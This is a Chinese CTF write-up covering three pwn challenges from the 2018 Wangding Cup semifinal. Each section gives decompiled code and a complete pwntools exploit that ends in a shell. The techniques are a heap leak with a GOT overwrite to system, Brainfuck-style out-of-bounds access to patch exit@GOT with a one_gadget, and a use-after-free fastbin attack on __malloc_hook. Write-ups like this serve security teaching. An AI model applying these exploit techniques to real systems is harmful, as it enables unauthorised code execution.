CTF Re&&Pwnniuren

网鼎杯半决赛 pwn wp

2018-09-08  本文已影响102人  zs0zrc
image.png

运行了下 ,发现是一个模拟聊天软件的程序,功能一共有 8个

login : 登陆
register : 注册
view profile : 打印出登陆用户的信息
update profile : 更新用户信息
add or delete friend : 添加或者删除好友
send a message to friend : 发信息给好友
view your message : 将自己收到的信息打印出来
logout:退出登陆状态

通过ida分析程序,程序一开时就分配了32个chunk用来存储用户的信息

  for ( i = 0; i <= 31; ++i )
  {
    v1 = malloc(0x128uLL);
    result = i;
    *(&user + i) = v1;
  }
  idx = -1;/*登陆的标志位*/

exp:

#!/usr/bin/env python
from pwn import *
local = 1

if local:
    p = process('./pwn1')
    elf = ELF('./pwn1')
    libc = elf.libc
else:
    host = ''
    port = ''
    p = remote(host,port)
    elf = ELF('./pwn1')
    #libc = ELF('./')

context.arch = elf.arch
#context.terminal = ['tmux', 'splitw', '-h']
context.log_level='debug'

def sd(content):
    p.send(content)

def sl(content):
    p.sendline(content)

def rc():
    return p.recv()

def ru(content):
    return p.recvuntil(content)

def register(size,name,age,des):
    ru('Your choice:')
    sl('2')
    rc()
    sl(str(size))
    rc()
    sd(name)
    rc()
    sl(str(age))
    rc()
    sd(des)

def login(name):
    ru('Your choice:')
    sl('1')
    rc()
    sd(name)

def view():
    ru('Your choice:')
    sl('1')

def update(name,age,des):
    ru('Your choice:')
    sl('2')
    ru('Input your name:')
    sd(name)
    ru(":")
    sl(str(age))
    ru(":")
    sd(des)

def add(name):
    ru(":")
    sl('3')
    ru(":")
    sd(name)
    ru('friend?(a/d)')
    sl('a')

def delete(name):
    rc()
    sl('3')
    rc()
    sd(name)
    ru('friend?(a/d)')
    sl('d')

def send_msg(name,title,content):
    ru(':')
    sl('4')
    ru('msg to:')
    sl(name)
    ru('title:')
    sd(title)
    ru('content:')
    sd(content)

def view_msg():
    ru(":")
    sl('5')

def logout():
    rc()
    sl('6')


register(16,'aaaa',18,'x'*0x100)
register(16,'bbbb',18,'b'*8)
register(16,'cccc',18,'b'*8)
log.info('leak heap address')
login('aaaa')
view()
ru('x'*0x100)
leak_heap = u64(p.recvline().strip('\n').ljust(8,'\x00'))
log.info("leak_heap address {}".format(hex(leak_heap)))
top_chunk = leak_heap + 0x90
log.info("top_chunk address {}".format(hex(top_chunk)))

log.info('leak libc address')

add('bbbb\x00')
add('cccc\x00')
delete('cccc\x00')
delete('bbbb\x00')

logout()
login(p64(top_chunk))

view()
ru('Age:')
libc_base = int('0x' + p.recv(12) , 16) - 0x3c4b78
log.info('libc_base -->{}'.format(hex(libc_base)))
system = libc_base + libc.symbols['system']
atoi_got = elf.got['atoi']
atoi_add = libc_base + libc.symbols['atoi']

logout()
register(0x140,p64(leak_heap)*2 + 'a'*0x120 + p64(atoi_got)*2,20,'666666')

login(p64(atoi_add))
update(p64(system),66,'666666')
rc()
sl('/bin/sh\x00')

p.interactive()
image.png

只开启了NX和Canary

简单反编译一下

void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
  char v3; // al
  char v4; // al

  sub_400B35((__int64)*a2);
  sub_400B5C();
  printf("Put the code: ", a2);
  readin(read2bss, 0x400u);
  for ( i = 0; ; ++i )
  {
    v1 = read2bss[i];
    if ( !v1 )
      break;
    v2 = 0;
    if ( v1 == '>' )
      ++num1;
    if ( v1 == '<' )
      --num1;
    if ( v1 == '+' )
      ++num2[num1];
    if ( v1 == '-' )
      --num2[num1];
    if ( v1 == '.' )
      _IO_putc(num2[num1], stdout);
    if ( v1 == ',' )
      read(0, &num2[num1], 1uLL);
    while ( v1 == '[' && !num2[num1] )
    {
      if ( read2bss[i] == '[' )
        ++v2;
      if ( read2bss[i] == ']' )
      {
        v3 = v2--;
        if ( v3 == 1 )
          break;
      }
      ++i;
    }
    while ( v1 == ']' && num2[num1] )
    {
      if ( read2bss[i] == ']' )
        ++v2;
      if ( read2bss[i] == '[' )
      {
        v4 = v2--;
        if ( v4 == 1 )
          break;
      }
      --i;
    }
  }
  exit(1);
}

可以发现当 输入为 '.' 时,会打印出num2[num1]的一个字节的内容,当输入为','时 会往 num2[num1]里写一字节的内容。而 '<' 和 ‘>’ 是用来控制 num的。

通过查看 bss段的内容,可以发现 stdin,stdout,stderr等结构体,所以可以通过泄露 stdin的地址来泄露出libc地址,stdin结构体是libc中的一个变量,由 IO_2_1_stdin 变量存储 它的地址

.bss:0000000000602080 stdout          dq ?                    ; DATA XREF: LOAD:0000000000400400↑o
.bss:0000000000602080                                         ; main+103↑r ...
.bss:0000000000602080                                         ; Copy of shared data
.bss:0000000000602088                 align 10h
.bss:0000000000602090                 public stdin
.bss:0000000000602090 ; FILE *stdin
.bss:0000000000602090 stdin           dq ?                    ; DATA XREF: LOAD:0000000000400418↑o
.bss:0000000000602090                                         ; sub_400B5C+4↑r
.bss:0000000000602090                                         ; Copy of shared data
.bss:0000000000602098                 align 20h
.bss:00000000006020A0                 public stderr
.bss:00000000006020A0 ; FILE *stderr
.bss:00000000006020A0 stderr          dq ?                    ; DATA XREF: LOAD:0000000000400430↑o
.bss:00000000006020A0                                         ; sub_400B5C+40↑r
.bss:00000000006020A0                                         ; Copy of shared data
.bss:00000000006020A8 byte_6020A8     db ?                    ; DATA XREF: sub_400810↑r
.bss:00000000006020A8                                         ; sub_400810+12↑w
.bss:00000000006020A9                 align 20h
.bss:00000000006020C0 ; char num2[1024]
.bss:00000000006020C0 num2            db 400h dup(?)          ; DATA XREF: main+A6↑o
.bss:00000000006020C0                                         ; main+B9↑o ...
.bss:00000000006024C0 num1            db ?                    ; DATA XREF: main+63↑r
.bss:00000000006024C0                                         ; main+6D↑w ...
.bss:00000000006024C1 i               db ?                    ; DATA XREF: main+45↑w
.bss:00000000006024C1                                         ; main:loc_4009B0↑r ...
.bss:00000000006024C2                 align 20h

然后在上方存在着got表,因为没开Full RELRO,所以可以同通过修改got表函数的内容为getshell函数来获取一个shell

image.png
  1. leak stdin的地址

    stdin = 0x602090
    num2 = 0x6020C0
    offset = num2 - stdin
    
    payload = '<' * offset + '.>.>.>.>.>.>'
    
    sl(payload) 
    leak = u64(rc().ljust(8,'\x00'))
    log.info(hex(leak))
    libc_base = leak - libc.symbols['_IO_2_1_stdin_']
    
  2. 修改 exit_got为 one_gadget
    exp:

    #!/usr/bin/env python
    from pwn import *
    from LibcSearcher import *
    local = 1
    
    if local:
        p = process('./pwn2')
        elf = ELF('./pwn2')
        libc = elf.libc
    else:
        host = '172.16.9.24'
        port = '8888'
        p = remote(host,port)
        elf = ELF('./pwn2')
    
    context.arch = elf.arch
    context.log_level='debug'
    
    def sd(content):
        p.send(content)
    
    def sl(content):
        p.sendline(content)
    
    def rc():
        return p.recv()
    
    def ru(content):
        return p.recvuntil(content)
    
    exit_got = 0x602060
    stdin = 0x602090
    num2 = 0x6020C0
    
    offset1 = num2 - stdin
    offset2 = stdin + 6 - exit_got
    one_gadget_offset = [0xf1147,0xf02a4,0x4526a,0x45216]
    
    payload = '<' * offset1 + '.>.>.>.>.>.>'
    payload += '<' * offset2
    payload += ',>,>,>,>,>,'
    rc()
    sl(payload) 
    leak = u64(rc().ljust(8,'\x00'))
    log.info(hex(leak))
    libc_base = leak - libc.symbols['_IO_2_1_stdin_']
    one_gadget = libc_base + one_gadget_offset[0]
    one_gadget = p64(one_gadget)
    
    for i in range(6):
        sd(one_gadget[i])
        sleep(0.1)
    
    p.interactive()
    
image.png

防护机制全开....但是听说挺简单的,结果还真的是很简单,是我比赛时想复杂了,不该去看cmd list函数的

一共有5个功能,menu菜单打印出了4个功能,但是有个一个cmd list的功能没打印出来

1. Create a character
2. View characters
3. Delete characters
4. Clean all the characters
5. cmd list

character 结构体

struct character{
    long flag;
    char *name;
    char type[23];
}
  1. creater a character

    分配一个0x28来存放character结构体,然后输入name的长度,根据输入的大小分配堆块存储name,再读取type,最后将这个chunk的地址存储在一个全局变量数组ptr里。

  2. View characters

 将所有的character的name和 type都打印出来,这里存在信息泄露

 ```c
   for ( i = 0; i <= 0x63; ++i )
     {
       if ( ptr[i] && *ptr[i] )
       {
         printf("Name[%u] :%s\n", i, *(ptr[i] + 8LL));
         printf("Type[%u] :%s\n", i, ptr[i] + 16LL);// leak info
       }
     }
 ```
  1. Delete characters

    将character 的name的chunk free掉,但是没将指针置为0,所以这里存在UAF漏洞,可以进行fastbins attack

    __int64 delete()
    {
      unsigned int idx; // [rsp+4h] [rbp-Ch]
      unsigned __int64 v2; // [rsp+8h] [rbp-8h]
    
      v2 = __readfsqword(0x28u);
      if ( count )
      {
        printf("Which character do you want to eat:");
        __isoc99_scanf("%d", &idx);
        if ( idx > 0x63 || !ptr[idx] )
        {
          puts("Invalid choice");
          return 0LL;
        }
        srand(0);
        *ptr[idx] = 0;
        free(*(ptr[idx] + 8LL));                    // uaf fastbins attack
      }
      else
      {
        puts("No character");
      }
      return 0LL;
    
  2. Clean all the characters

    将delete掉的character 从全局变量数组中删除,并且free掉存储character结构体的chunk

  3. cmd list

    这个暂时不分析,这里主要是实现了一些 note的分配 ,编辑等操作,我没有用到

解题思路:
利用UAF漏洞泄露出libc地址
然后利用fastbins attack 分配到包含__malloc_hook的chunk,修改__malloc_hook为one_gadget
最后出发 malloc_printerr来getshell

exp:

#!/usr/bin/env python
from pwn import *
local = 1

if local:
    p = process('./pwn3')
    elf = ELF('./pwn3')
    libc = elf.libc
else:
    host = ''
    port = ''
    p = remote(host,port)
    elf = ELF('./pwn3')
    #libc = ELF('./')

context.arch = elf.arch
#context.terminal = ['tmux', 'splitw', '-h']
context.log_level='debug'

def sd(content):
    p.send(content)

def sl(content):
    p.sendline(content)

def rc():
    return p.recv()

def ru(content):
    return p.recvuntil(content)

def create(size,name,t):
    ru('Your choice : ')
    sl('1')
    ru('Length of the name :')
    sl(str(size))
    ru('The name of character :')
    sd(name)
    ru('The type of the character :')
    sl(t)

def view():
    ru('Your choice : ')
    sl('2')

def delete(idx):
    ru('Your choice : ')
    sl('3')
    rc()
    sl(str(idx))

def clean():
    ru('Your choice : ')
    sl('4')


create(0x98,'a'*8,'1234')
create(0x68,'bbbb','456798')
create(0x68,'bbbb','456798')
create(0x28,'bbbb','456798')

delete(0)
clean()
create(0x98,'a'*8,'1234')
view()

ru('a'*8)
leak = u64(p.recv(6).ljust(8,'\x00'))
main_arena = leak - 0x58
libc_base = main_arena - libc.symbols['__malloc_hook'] - 0x10 
log.info("libc_base is {}".format(hex(libc_base)))
malloc_hook = libc_base + libc.symbols['__malloc_hook']
system = libc_base + libc.symbols['system']
one_gadget = 0xf02a4 + libc_base

delete(1)
delete(2)
delete(1)

create(0x68,p64(malloc_hook - 0x23),'1234')
create(0x68,'bbbb','456798')
create(0x68,'bbbb','456798')

create(0x68,'a'*0x13 + p64(one_gadget),'1234')

delete(0)
delete(0)
p.interactive()

上一篇下一篇

猜你喜欢

热点阅读